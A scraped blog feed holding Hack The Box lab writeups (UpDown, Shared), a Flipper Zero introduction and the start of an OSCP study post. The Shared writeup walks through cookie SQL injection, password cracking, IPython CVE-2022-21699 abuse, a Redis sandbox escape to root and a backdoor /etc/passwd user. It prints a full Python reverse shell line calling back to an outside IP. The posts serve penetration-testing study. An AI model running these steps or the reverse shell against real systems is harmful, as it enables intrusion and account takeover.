height="312"></figure><p>And get the first flag</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-40.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="542" height="599"></figure><h1 id="privilege-escalation">Privilege Escalation</h1><p>Starting with a typical sudo enumeration:</p><pre><code>sudo -l</code></pre><p>the binary easy_install can be run as SUDO!</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-41.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="870" height="128" srcset="https://walu.la/content/images/size/w600/2022/11/image-41.png 600w, https://walu.la/content/images/2022/11/image-41.png 870w" sizes="(min-width: 720px) 720px"></figure><p>the easy_install binary has an entry on gtfobins: <a href="https://gtfobins.github.io/gtfobins/easy_install/?ref=walu.la">https://gtfobins.github.io/gtfobins/easy_install/</a></p><p>That makes as easy as copying and pasting 3 lines</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/11/image-42.png" class="kg-image" alt="UpDown - HTB Writeup" loading="lazy" width="958" height="226" srcset="https://walu.la/content/images/size/w600/2022/11/image-42.png 600w, https://walu.la/content/images/2022/11/image-42.png 958w" sizes="(min-width: 720px) 720px"></figure>]]></content:encoded></item><item><title><![CDATA[When Tamagotchis go Rogue]]></title><description><![CDATA[<p>Is it a toy? <strong>Maybe</strong><br>Is it a tool? <strong>Possibly</strong> <br>Is it a dolphin? <strong>Definitely</strong><br>Is it awesome? <strong>Absolutely</strong></p><p>The Flipper Zero is an incredible little tool. It&apos;s both a cute little Tamagotchi and an incredible security research tool. &#xA0;</p><p>In its (apparent) simplicity, it&apos;s packed</p>]]></description><link>https://walu.la/flipper-zero/</link><guid isPermaLink="false">6457a67d35b7a21f0717a3e2</guid><dc:creator><![CDATA[Walula]]></dc:creator><pubDate>Fri, 21 Oct 2022 15:33:51 GMT</pubDate><media:content url="https://walu.la/content/images/2022/10/Screenshot-2022-10-21-at-11.07.54.png" medium="image"/><content:encoded><![CDATA[<img src="https://walu.la/content/images/2022/10/Screenshot-2022-10-21-at-11.07.54.png" alt="When Tamagotchis go Rogue"><p>Is it a toy? <strong>Maybe</strong><br>Is it a tool? <strong>Possibly</strong> <br>Is it a dolphin? <strong>Definitely</strong><br>Is it awesome? <strong>Absolutely</strong></p><p>The Flipper Zero is an incredible little tool. It&apos;s both a cute little Tamagotchi and an incredible security research tool. &#xA0;</p><p>In its (apparent) simplicity, it&apos;s packed to the brim with sensors and antennas.<br>It allows for testing and analysis of a wide array of radio protocols, access control systems, etc:</p><p>- RF SubGHz Spectrum<br>- NFCs<br>- RFIDs<br>- IButton / 1-Wire<br>- Infrared Signals<br>- GPIO Shenanigans (SPI/UART bridging)<br>- <a href="https://flipperzero.one/?ref=walu.la">And much more</a></p><p>The Flipper Zero was founded on Kickstarted, i discovered the campaign when it already ended but it took me little to no time to fall in love with it &lt;3</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://walu.la/content/images/2022/10/image-2.png" class="kg-image" alt="When Tamagotchis go Rogue" loading="lazy" width="1892" height="995" srcset="https://walu.la/content/images/size/w600/2022/10/image-2.png 600w, https://walu.la/content/images/size/w1000/2022/10/image-2.png 1000w, https://walu.la/content/images/size/w1600/2022/10/image-2.png 1600w, https://walu.la/content/images/2022/10/image-2.png 1892w" sizes="(min-width: 720px) 720px"><figcaption>Say hi to R4d1cen</figcaption></figure><p>Since receiving my Flipper Zero, i&apos;ve been playing non-stop with it: I tested multiple cards, protocols, remotes, and frequencies and i delved into more complex firmware modifications.</p><p>After a little over a month, i have to say, this device is <strong>insane</strong>.</p><p>It sparked a great interest in the world of radio frequencies, so much so that i got myself an <a href="https://greatscottgadgets.com/hackrf/one/?ref=walu.la">HackRF</a> xD (A story for another post)</p><p>Keep in mind that, while it&apos;s considered a &quot;general&quot; purpose tool, Flipper Zero has to be used in specific ways. It&apos;s neither a magic tool nor a full testing workbench.<br>For instance, there is a spectrum analyzer available for the Flipper but between the small LCD screen and low-power nature of the components, it&apos;s not really the most useful feature.</p><p>Initial testing and studying is always best if done in a laboratory-like environment with bench devices like the ACR122U NFC reader paired with <a href="https://github.com/nfc-tools/libnfc?ref=walu.la">nfclib</a> or the aforementioned <a href="https://greatscottgadgets.com/hackrf/one/?ref=walu.la">HackRF</a> (as well as any other SDR).</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://walu.la/content/images/2022/10/image-5.png" class="kg-image" alt="When Tamagotchis go Rogue" loading="lazy" width="1832" height="900" srcset="https://walu.la/content/images/size/w600/2022/10/image-5.png 600w, https://walu.la/content/images/size/w1000/2022/10/image-5.png 1000w, https://walu.la/content/images/size/w1600/2022/10/image-5.png 1600w, https://walu.la/content/images/2022/10/image-5.png 1832w" sizes="(min-width: 720px) 720px"><figcaption>Testing Mifare Classic Dictionary Attack</figcaption></figure><p>That being said, if you want to integrate anything specific <a href="https://github.com/csBlueChip/FlipperZero_plugin_howto?ref=walu.la">you can program directly a Flipper application</a> (FAP packages) to load into the device. The FAPs are written mainly in C so it&apos;s possible to do some really interesting low-level stuff :)</p><p>And if you&apos;re crazy enough you can also create an external module to interface with the Flipper&apos;s GPIOs. <a href="https://docs.flipperzero.one/development/hardware/wifi-debugger-module?ref=walu.la">An 802.11 module to expand the Flipper capabilities is already available</a>.</p><p>This is, in my opinion, the best part: <u>opensource and customizable!</u></p><p>As of today, the device is still in its early stages but i can only imagine what the Flipper Zero community will be releasing in just a few months.... <em><strong>It&apos;s gon be gud</strong></em></p><p>The platform also rocks official fully featured <a href="https://flipperzero.one/update?ref=walu.la"><a href="https://flipperzero.one/update?ref=walu.la">Windows/Mac software</a> and a mobile app</a>. The Flipper app (Android &amp; iOS) connects via Bluetooth to your Flipper Zero and allows you to transfer files, remote control and even update to the device remotely via Bluetooth.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://walu.la/content/images/2022/10/image-4.png" class="kg-image" alt="When Tamagotchis go Rogue" loading="lazy" width="814" height="500" srcset="https://walu.la/content/images/size/w600/2022/10/image-4.png 600w, https://walu.la/content/images/2022/10/image-4.png 814w" sizes="(min-width: 720px) 720px"><figcaption>qFlipper home screen</figcaption></figure><p>If you want to delve deeper into the topic i&apos;ll leave here some interesting resources:</p><ul><li><a href="https://forum.flipperzero.one/?ref=walu.la">Official Forum</a></li><li><a href="https://docs.flipperzero.one/?ref=walu.la">Official Documentation</a></li><li><a href="https://github.com/djsime1/awesome-flipperzero?ref=walu.la">Awesome Flipper:</a> A repository full cool stuff!</li><li><a href="https://ialkatraz.github.io/flipperzeroitalia/?ref=walu.la">Flipper Zero Italia community</a></li></ul><p>I&apos;ll document in detail some experiments in the future, this post was not meant to be a complete guide but more like an introduction to on Flipper Zero and its capabilities. Especially the field of Radio Frequency is big and includes a lot of physics. Very interesting!<br>I understand now why there are people with such dedication in <a href="https://en.wikipedia.org/wiki/Amateur_radio?ref=walu.la">Ham Radio</a></p><p>This device is a tool for researchers and hobbyists alike to play, test and study this very field of communication. Flipper Zero is a far cry from key grabber devices (such as the Pandora DX and similar), it&apos;s not meant to be used for illegal activities and, if unmodified, has many restrictions in place for this very reason. </p><p>I hope i sparked some curiosity, if not for the Flipper Zero itself, at least for this field in communication security.</p><p></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://walu.la/content/images/2022/10/image-3.png" class="kg-image" alt="When Tamagotchis go Rogue" loading="lazy" width="901" height="1215" srcset="https://walu.la/content/images/size/w600/2022/10/image-3.png 600w, https://walu.la/content/images/2022/10/image-3.png 901w" sizes="(min-width: 720px) 720px"><figcaption>(Blurry) R4d1cen in Milan :)</figcaption></figure><p>Thanks for reading &amp; Happy Hacking :)</p>]]></content:encoded></item><item><title><![CDATA[HTB Writeup - Shared]]></title><description><![CDATA[<p>I start with nmap as usual:</p><!--kg-card-begin: markdown--><p><code>sudo nmap -Pn -n -T5 -vv -sT -sC -p- shared.htb</code></p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-7.png" class="kg-image" alt loading="lazy" width="583" height="312"></figure><p></p><p>Only 3 ports open, all web services. As usual i add the IP/domain to the &apos;/etc/hosts&apos; file.</p><p>Now i&apos;m able to connect to the website which is</p>]]></description><link>https://walu.la/htb-writeup-shared-2/</link><guid isPermaLink="false">6457a67d35b7a21f0717a3e3</guid><dc:creator><![CDATA[Walula]]></dc:creator><pubDate>Thu, 20 Oct 2022 13:16:59 GMT</pubDate><media:content url="https://walu.la/content/images/2022/10/Shared.png" medium="image"/><content:encoded><![CDATA[<img src="https://walu.la/content/images/2022/10/Shared.png" alt="HTB Writeup - Shared"><p>I start with nmap as usual:</p><!--kg-card-begin: markdown--><p><code>sudo nmap -Pn -n -T5 -vv -sT -sC -p- shared.htb</code></p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-7.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="583" height="312"></figure><p></p><p>Only 3 ports open, all web services. As usual i add the IP/domain to the &apos;/etc/hosts&apos; file.</p><p>Now i&apos;m able to connect to the website which is a simple Prestashop e-commerce CMS with an interesting message:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-8.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="1322" height="518" srcset="https://walu.la/content/images/size/w600/2022/09/image-8.png 600w, https://walu.la/content/images/size/w1000/2022/09/image-8.png 1000w, https://walu.la/content/images/2022/09/image-8.png 1322w" sizes="(min-width: 720px) 720px"></figure><p>Looks like they got a new checkout system. Let&apos;s test it out!<br>After adding an item to the cart i go to check out and, after adding the subdomain to the &quot;/etc/hosts&quot; file, i&apos;m greeted with this page:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-12.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="1070" height="523" srcset="https://walu.la/content/images/size/w600/2022/09/image-12.png 600w, https://walu.la/content/images/size/w1000/2022/09/image-12.png 1000w, https://walu.la/content/images/2022/09/image-12.png 1070w" sizes="(min-width: 720px) 720px"></figure><p>From the looks of the HTTP traffic, the data is contained within the cookie &quot;custom_cart&quot;:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-11.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="1254" height="453" srcset="https://walu.la/content/images/size/w600/2022/09/image-11.png 600w, https://walu.la/content/images/size/w1000/2022/09/image-11.png 1000w, https://walu.la/content/images/2022/09/image-11.png 1254w" sizes="(min-width: 720px) 720px"></figure><p></p><p>I noticed that if i add some particular characters i can break the page, maybe the database uses the cookie as input? If so it might be SQL Injectable.</p><p>It has been ages since i used an automated SQLi tool so i decided to use SQLmap this time.</p><p>I save the request to a file and URL decode the cookie</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-13.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="652" height="463" srcset="https://walu.la/content/images/size/w600/2022/09/image-13.png 600w, https://walu.la/content/images/2022/09/image-13.png 652w"></figure><p>I then feed it to sqlmap with no particular fine-tuning options, just to see how well it recognizes the vulnerability</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-16.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="1456" height="1110" srcset="https://walu.la/content/images/size/w600/2022/09/image-16.png 600w, https://walu.la/content/images/size/w1000/2022/09/image-16.png 1000w, https://walu.la/content/images/2022/09/image-16.png 1456w" sizes="(min-width: 720px) 720px"></figure><p>But sure enough, it identifies a UNION based SQL Injection vulnerability.</p><p>As usual i stroll around the DB looking for interesting stuff. And what do you know? &#xA0;I stumble upon a nice MD5 hash for the user &quot;james_mason&quot; inside the DB:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-17.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="588" height="159"></figure><p>Using crackstation.net&apos;s rainbow tables, i quckly recovered the password:</p><pre><code>Soleil101</code></pre><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-18.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="1430" height="510" srcset="https://walu.la/content/images/size/w600/2022/09/image-18.png 600w, https://walu.la/content/images/size/w1000/2022/09/image-18.png 1000w, https://walu.la/content/images/2022/09/image-18.png 1430w" sizes="(min-width: 720px) 720px"></figure><p>With this password i can log in as james_mason via SSH:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-19.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="685" height="427" srcset="https://walu.la/content/images/size/w600/2022/09/image-19.png 600w, https://walu.la/content/images/2022/09/image-19.png 685w"></figure><p></p><h2 id="foothold">Foothold</h2><p>I use pspy to monitor processes and activites while i enumerate with linpeas. A redis server running as root was quickly identified. </p><p>Unfortunately is password protected, I&apos;ll get back to it later</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-32.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="426" height="111"></figure><p>While glancing over the pspy results i notice that the user dan_smith (UID=1001) uses Ipython (Python command shell with advanced functionalities) in a specific way:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-20.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="833" height="190" srcset="https://walu.la/content/images/size/w600/2022/09/image-20.png 600w, https://walu.la/content/images/2022/09/image-20.png 833w" sizes="(min-width: 720px) 720px"></figure><p>Before doing anything, dan_smith moves inside the &apos;/opt/scripts_review&apos; folder wich is writable to us since our user is in the developer group.</p><p>While researching online for some interesting IPython settings i found this advisory:</p><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://github.com/advisories/GHSA-pq7m-3gw7-gq5x?ref=walu.la"><div class="kg-bookmark-content"><div class="kg-bookmark-title">CVE-2022-21699 - GitHub Advisory Database</div><div class="kg-bookmark-description">Execution with Unnecessary Privileges in ipython</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.com/fluidicon.png" alt="HTB Writeup - Shared"><span class="kg-bookmark-author">GitHub</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://github.githubassets.com/images/modules/site/social-cards/advisory-database-show.png" alt="HTB Writeup - Shared"></div></a></figure><p>The example in the article is pretty straightforward, i have to create a fake user folder containing an IPython autostart script. This way i&apos;ll be able to force dan into executing python code.</p><p>First i create the structure in the /tmp folder:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-23.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="546" height="113"></figure><p>With the following python reverse shell:</p><pre><code class="language-python">import sys,socket,os,pty;s=socket.socket();s.connect((&quot;10.10.14.124&quot;,int(4455)));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(&quot;/bin/sh&quot;)</code></pre><p>Then i copy the python autostart script to the /opt/scripts_review folder. The folder where dan executes IPython </p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-24.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="641" height="110" srcset="https://walu.la/content/images/size/w600/2022/09/image-24.png 600w, https://walu.la/content/images/2022/09/image-24.png 641w"></figure><p>After waiting for a bit i receive the reverse shell, as expected the user is dan_smith:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-25.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="419" height="183"></figure><p>I steal dan_smith&apos;s ssh key and connected via ssh:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-26.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="636" height="338" srcset="https://walu.la/content/images/size/w600/2022/09/image-26.png 600w, https://walu.la/content/images/2022/09/image-26.png 636w"></figure><h2 id="privilege-escalation">Privilege Escalation</h2><p>After some enumeration, i discover that dan is in the group sysadmin</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-31.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="855" height="65" srcset="https://walu.la/content/images/size/w600/2022/09/image-31.png 600w, https://walu.la/content/images/2022/09/image-31.png 855w" sizes="(min-width: 720px) 720px"></figure><p>This allowes me to execute a custom binary called &quot;redis_connector_dev&quot;.</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-27.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="806" height="66" srcset="https://walu.la/content/images/size/w600/2022/09/image-27.png 600w, https://walu.la/content/images/2022/09/image-27.png 806w" sizes="(min-width: 720px) 720px"></figure><p>This program authenticates to the Redis server and shows some stats.</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-33.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="612" height="329" srcset="https://walu.la/content/images/size/w600/2022/09/image-33.png 600w, https://walu.la/content/images/2022/09/image-33.png 612w"></figure><p>Since this script probably authenticates with the server, i decided to pull off a trick similar to the one done for the <a href="https://walu.la/htb-support-writeup/">Support HTB Machine</a>:</p><p>I downloaded the program and, as expected, it doesn&apos;t run locally since there is no Redis server on my kali box.</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-37.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="773" height="339" srcset="https://walu.la/content/images/size/w600/2022/09/image-37.png 600w, https://walu.la/content/images/2022/09/image-37.png 773w" sizes="(min-width: 720px) 720px"></figure><p>I then created a listener on the default Redis port (6379). Since most of the communications with a redis server is unencrypted, it is possible to read the password:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-34.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="472" height="226"></figure><p>With this password, i was finally able to connect to the Redis instance using the readily available &quot;redis-cli&quot; binary. </p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-38.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="363" height="172"></figure><p>At this point I&apos;d use the famous redis-rogue server technique (either with a script or manually) to achieve RCE as root and call it a day. But in this particular box the Redis server either kept crashing or couldn&apos;t load the malicious extension.</p><p>After some digging i discovered a farily recent CVE, CVE-2022-0543.<br>Basically this vulnerabilty abuses the EVAL &#xA0;function that redis uses to run LUA sandboxed commands. Apparently it&apos;s possible to bypass this sandbox and execute commands on the underlying OS:</p><p>More information on the EVAL function in Redis: <a href="https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html?ref=walu.la">https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html</a><br>Github exploit page: <a href="https://github.com/aodsec/CVE-2022-0543?ref=walu.la">https://github.com/aodsec/CVE-2022-0543</a></p><blockquote class="kg-blockquote-alt">Remember kids, keep your arsenal and techniques updated!</blockquote><p>But after cloning the repo i noticed in the code that the exploit doesn&apos;t support password authentication out of the box:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-41.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="1077" height="522" srcset="https://walu.la/content/images/size/w600/2022/09/image-41.png 600w, https://walu.la/content/images/size/w1000/2022/09/image-41.png 1000w, https://walu.la/content/images/2022/09/image-41.png 1077w" sizes="(min-width: 720px) 720px"></figure><p>Nothing to worry about! <br>In no time i found the answer in a (you guessed it) <a href="https://stackoverflow.com/questions/30149493/redis-auth-command-in-python?ref=walu.la">stackoverflow thread</a>. </p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-42.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="784" height="204" srcset="https://walu.la/content/images/size/w600/2022/09/image-42.png 600w, https://walu.la/content/images/2022/09/image-42.png 784w" sizes="(min-width: 720px) 720px"></figure><p>Once modified, it&apos;s ready to go! </p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-44.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="989" height="427" srcset="https://walu.la/content/images/size/w600/2022/09/image-44.png 600w, https://walu.la/content/images/2022/09/image-44.png 989w" sizes="(min-width: 720px) 720px"></figure><p>Before running the exploit though, i needed a way to communicate with the local Redis server instance on the target box. We already saw that the Redis port is not reachable from our kali machine. </p><p>Of course, port forwarding is the way</p><p>I decided to use <a href="https://github.com/jpillora/chisel?ref=walu.la">chisel</a>:</p><blockquote>Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH.</blockquote><p>I&apos;ll skip the detailed explanation on how chisel works for now, check out its github page if you want more information.</p><p>Server setup (kali machine):</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-49.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="719" height="122" srcset="https://walu.la/content/images/size/w600/2022/09/image-49.png 600w, https://walu.la/content/images/2022/09/image-49.png 719w"></figure><p>Client setup (target box):</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-48.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="985" height="285" srcset="https://walu.la/content/images/size/w600/2022/09/image-48.png 600w, https://walu.la/content/images/2022/09/image-48.png 985w" sizes="(min-width: 720px) 720px"></figure><p>Now the exploit can be run against localhost:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-50.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="800" height="371" srcset="https://walu.la/content/images/size/w600/2022/09/image-50.png 600w, https://walu.la/content/images/2022/09/image-50.png 800w" sizes="(min-width: 720px) 720px"></figure><p>And here&apos;s RCE, as root!<br>Now i add a new user to /etc/passwd to quickly log in as root:</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-51.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="614" height="99" srcset="https://walu.la/content/images/size/w600/2022/09/image-51.png 600w, https://walu.la/content/images/2022/09/image-51.png 614w"></figure><p>(The password is the DES hash of the word &apos;evil&apos;). <br>Now as i can log in as the user &apos;brutto&apos;</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image-52.png" class="kg-image" alt="HTB Writeup - Shared" loading="lazy" width="746" height="652" srcset="https://walu.la/content/images/size/w600/2022/09/image-52.png 600w, https://walu.la/content/images/2022/09/image-52.png 746w" sizes="(min-width: 720px) 720px"></figure><p>Happy Hacking ;)</p>]]></content:encoded></item><item><title><![CDATA[My OSCP Journey]]></title><description><![CDATA[<p>Since I recently completed the OSCP exam and started this blog, I&apos;d like to share some suggestions and insights about this journey. I&apos;ll try to keep it as short and informative as possible by touching on the following subjects:</p><ul><li>Whoami</li><li>PWK &amp; OSCP<br> - PWK Course<br></li></ul>]]></description><link>https://walu.la/my-oscp-journey-2/</link><guid isPermaLink="false">6457a67d35b7a21f0717a3de</guid><dc:creator><![CDATA[Walula]]></dc:creator><pubDate>Mon, 12 Sep 2022 16:32:53 GMT</pubDate><media:content url="https://walu.la/content/images/2022/09/maxresdefault.png" medium="image"/><content:encoded><![CDATA[<img src="https://walu.la/content/images/2022/09/maxresdefault.png" alt="My OSCP Journey"><p>Since I recently completed the OSCP exam and started this blog, I&apos;d like to share some suggestions and insights about this journey. I&apos;ll try to keep it as short and informative as possible by touching on the following subjects:</p><ul><li>Whoami</li><li>PWK &amp; OSCP<br> - PWK Course<br> - PWK Lab<br> - OSCP Exam</li><li>How to prepare<br> - Mindset<br> - Methodology &amp; Cheatsheet<br> - Using Solutions &amp; Writeups<br> - Training Material</li><li>My Exam attempts</li><li>Conclusions</li></ul><p>Note: This is not meant to be an exhaustive guide, I&#x2019;m only sharing what I learned from this experience. Also, since English is not my first language, expect some minor errors. You can reach out if you want to suggest some edits ;)</p><h2 id="whoami">Whoami</h2><p>My name is Walter and I&apos;m your friendly Italian internet neighbor. I&apos;m very passionate about tech and security (among many things). &#xA0;I started studying computer science very early at a technical High School (ITIS in Italian) in Milan. After high school, I found a job and started working right away in IT.</p><p>During these years I managed to get a Job in one of the biggest Italian SOCs as a security analyst, but Red Teaming has always been what I really wanted to do. The OSCP felt the right certification to prove myself.</p><p>It took me three tries to pass the exam, but with each attempt I was able to recognize my errors and slowly tune my methodology. Now I realized that I started this journey thinking it was a 200 meters sprint when instead it was a 200 hours marathon.</p><h2 id="pwk-oscp">PWK &amp; OSCP</h2><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://www.offensive-security.com/offsec/pwk-oscp-faq/?ref=walu.la"><div class="kg-bookmark-content"><div class="kg-bookmark-title">PWK &amp; OSCP Frequently Asked Questions | Offensive Security</div><div class="kg-bookmark-description">Get official answers to the most common questions about Penetration Testing with Kali Linux and the OSCP exam. Learn about requirements, prep, and more.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://www.offensive-security.com/wp-content/themes/OffSec/favicon.png" alt="My OSCP Journey"><span class="kg-bookmark-author">Offensive Security</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://www.offensive-security.com/wp-content/uploads/2020/02/pwk-faqs.png" alt="My OSCP Journey"></div></a></figure><h3 id="pwk">PWK</h3><p>&quot;Pentsting With Kali&quot; is the flagship course offered by Offensive Security, it is paired with the famous OSCP exam.</p><p>I found the material, for the most part, quite straightforward. Of course, some topics were particularly difficult but google is your best friend during this journey, and It&apos;s also a great chance to improve your <a href="https://en.wiktionary.org/wiki/Google-fu?ref=walu.la#:~:text=Google-fu%20(uncountable),useful%20information%20on%20the%20Internet.">google-fu</a>.</p><p>The course also provides multiple exercises (more than 100) to strengthen your skills on all the covered topics. They are very specific (and time-consuming) so I decided to focus only on what I thought were the most useful. In the end, I found that for me practicing on actual boxes was a lot better.</p><p>I think that the PWK Course does a good job teaching you most of the skills necessary to pass the exam, some more than others. What made the difference to me was integrating the PWK material with external websites and material (specific courses, books, conferences).</p><p>For example, I was struggling with the Privilege Escalation module for a while until I purchased the awesome Tib3rius Privilege Escalation course (highly recommended) for both <a href="https://www.udemy.com/course/windows-privilege-escalation/?ref=walu.la">Windows</a> and <a href="https://www.udemy.com/course/linux-privilege-escalation?ref=walu.la">Linux</a> on Udemy. &#xA0;As a learning platform, i found Udemy quite awesome, I really enjoyed its courses.</p><h3 id="pwk-labs">PWK Labs</h3><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://www.offensive-security.com/offsec/pwk-labs-success/?ref=walu.la"><div class="kg-bookmark-content"><div class="kg-bookmark-title">A Path to Success in the PWK Labs | Offensive Security</div><div class="kg-bookmark-description">As part of our ongoing efforts to support student success, we&#x2019;re introducing a new learning path for the PWK labs. Find out more - along with pass rate data.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://www.offensive-security.com/wp-content/themes/OffSec/favicon.png" alt="My OSCP Journey"><span class="kg-bookmark-author">Offensive Security</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://www.offensive-security.com/wp-content/uploads/2020/10/success-PWK-Labs.png" alt="My OSCP Journey"></div></a></figure><p>I bought my first voucher with lab time included a few years ago so pricing is probably different, but the network structure of the lab itself has not changed that much over the years.</p><figure class="kg-card kg-image-card"><img src="https://walu.la/content/images/2022/09/image.png" class="kg-image" alt="My OSCP Journey" loading="lazy" width="1999" height="1566" srcset="https://walu.la/content/images/size/w600/2022/09/image.png 600w, https://walu.la/content/images/size/w1000/2022/09/image.png 1000w, https://walu.la/content/images/size/w1600/2022/09/image.png 1600w, https://walu.la/content/images/2022/09/image.png 1999w" sizes="(min-width: 720px) 720px"></figure><p>The most appealing part of the lab is the variety of environments, the presence of retired exam boxes, and the possibility to practice pivoting through different subnets and multiple departments. The lab should not be thought of as a CTF lab, instead, it resembles more of a real-life assessment.</p><p>Given the fact that the closest example of the exam environment will probably be the PWK lab, I suggest you use it when you&apos;re feeling ready to do some 24h simulations.</p><h3 id="oscp">OSCP</h3><p><a href="https://help.offensive-security.com/hc/en-us/articles/4412170923924-OSCP-Exam-FAQ?ref=walu.la">https://help.offensive-security.com/hc/en-us/articles/4412170923924-OSCP-Exam-FAQ</a></p><p>The OSCP exam is tough, I think everyone can agree on this. I know that the actual boxes are not THAT hard once you compromise them, but the amount of work for only 24h puts your methodology and endurance skills to the test.</p><p>The OSCP exam is proctored since 2020. That means that someone from Offensive Security will be always watching you from the webcam to make sure no cheating (or other weird stuff) is happening; you should check the official article for more information: <a href="https://www.offensive-security.com/offsec/pwk-2020-update/?ref=walu.la">https://www.offensive-security.com/offsec/pwk-2020-update/</a></p><p>Having a proctor watching during the exam did not bother me, after a while you kinda forget about it.</p><p>Note: If you are not aware of the 2022 exam changes (BOF with Privilege Escalation and Active Directory Environment) take also a look at the official OffSec article: <a href="https://www.offensive-security.com/offsec/oscp-exam-structure/?ref=walu.la">https://www.offensive-security.com/offsec/oscp-exam-structure/</a></p><p>Don&apos;t forget that the actual evaluation of your exam is based on the exam report that you&apos;ll deliver. So always keep an eye on the official Reporting Guide: <a href="https://help.offensive-security.com/hc/en-us/articles/360046787731-PEN-200-Reporting-Requirements?ref=walu.la">https://help.offensive-security.com/hc/en-us/articles/360046787731-PEN-200-Reporting-Requirements</a></p><h2 id="how-to-prepare">How to prepare</h2><h3 id="the-mindset">The Mindset</h3><p>As said previously, the exam will test not only your knowledge but your time and resource management skills as well. It really is like a marathon, so prepare to suffer a bit.</p><p>I found some great insights in some slides from a very interesting talk by a security researcher specialized in IoT and ARM exploitation, Azeria (<a href="https://twitter.com/Fox0x01?ref=walu.la">https://twitter.com/Fox0x01</a>). Related to these slides there is also an article on her website:</p><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://azeria-labs.com/the-process-of-mastering-a-skill/?ref=walu.la"><div class="kg-bookmark-content"><div class="kg-bookmark-title">The Process of Mastering a 